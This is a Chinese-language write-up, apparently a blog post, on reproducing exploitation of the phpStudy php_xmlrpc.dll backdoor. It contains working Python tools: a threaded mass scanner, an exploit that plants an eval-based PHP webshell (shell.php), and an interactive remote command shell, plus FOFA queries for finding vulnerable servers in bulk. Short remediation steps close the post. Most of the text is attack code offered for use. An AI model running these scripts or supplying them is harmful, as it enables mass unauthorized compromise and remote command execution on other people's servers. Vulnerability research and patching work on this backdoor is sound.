phpStudy后门漏洞利用复现
一、漏洞描述
Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer
多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。
正是这样一款公益性软件,2018年12月4日,西湖区公安分局网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据 回传大量敏感信息。
二、后门漏洞影响版本
phpStudy2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
三、漏洞危害
风险等级:高
风险危害:
1.获取服务器权限
2.写入webshell
四、后门漏洞复现流程
Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64编码)
注意:
Accept-Encoding: gzip,deflate
gzip,空格deflate
gzip逗号后面这个空格需要删除,否则无回显
payload也就是我们的php代码,构造要经过base64编码过后再放入
复现过程:
抓取URL请求包,首页即可
然后发送到 Repeater模块测试
这里可以看见前面所说的gzip逗号后面的空格没有删掉
再者Accept-Charset需要自己构造
我们构造一个 system('whoami'); base64编码过后的然后发送过去测试
这里可以看见,执行了whoami
接下来编写我们的 批量POC、EXP、交互shell
五、 Python编写批量POC、EXP、交互shell
批量POC:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : 白纸书生 # @FileName: phpstudy_poc.py import requests import threading def POC(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7' } try: response = requests.get(url=url,headers=headers,timeout=3) print(url) if response.status_code == 200: if "\"local<****>host\"" in response.text: print('存在phpstudy后门漏洞------------',url) with open('vulnstudy.txt','a') as f: f.write(url+'\n') except: return if __name__ == '__main__': number = int(sys.argv[1]) count = 0 for url in open(r'urls.txt'): count+=1 t = threading.Thread(target=POC, args=(url.strip(),)) # 注意传入的参数一定是一个元组! t.start() if count % number == 0: time.sleep(3)
EXP:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : 白纸书生 # @FileName: phpstudy_exp.py import requests def EXP(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs=' } try: response = requests.get(url=url,headers=headers,timeout=3) if response.status_code == 200: print('Success------------',url+"shell.php") except: return if __name__ == '__main__': for url in open(r'urls.txt'): EXP(url.strip())
exp这里的payload是写入webshell
payload: fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');
通过$_SERVER['DOCUMENT_ROOT'] 获取网站根目录再写入。
交互shell:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author : 白纸书生 # @FileName: phpstudy_shell.py import requests import re import base64 def SHELL(url): try: while 1: shell = input(">>>") shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': base64.b64encode(shell.encode()).decode() } response = requests.get(url=url,headers=headers,timeout=3) text = re.findall(r"abds(.+?)abds",response.text,re.S) print(text[0]) if shell == "0": return except: print("异常") if __name__ == '__main__': url = 'http://localhost/' SHELL(url)
回显通过php的echo "abds"; 包裹着 也就是命令被两个字符串包裹着,然后我们通过python正则把它从abds中间提取出来即可
测试结果:
六、通过网络空间引擎批量搜索
这里采用fofa
构造通过返回的server
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"
感觉准确率不够高的话,可以再加个php探针做限制
七、后门漏洞修复方式
1.更新phpstudy
2.手动删除该dll文件
3.采用火绒等杀毒软件查杀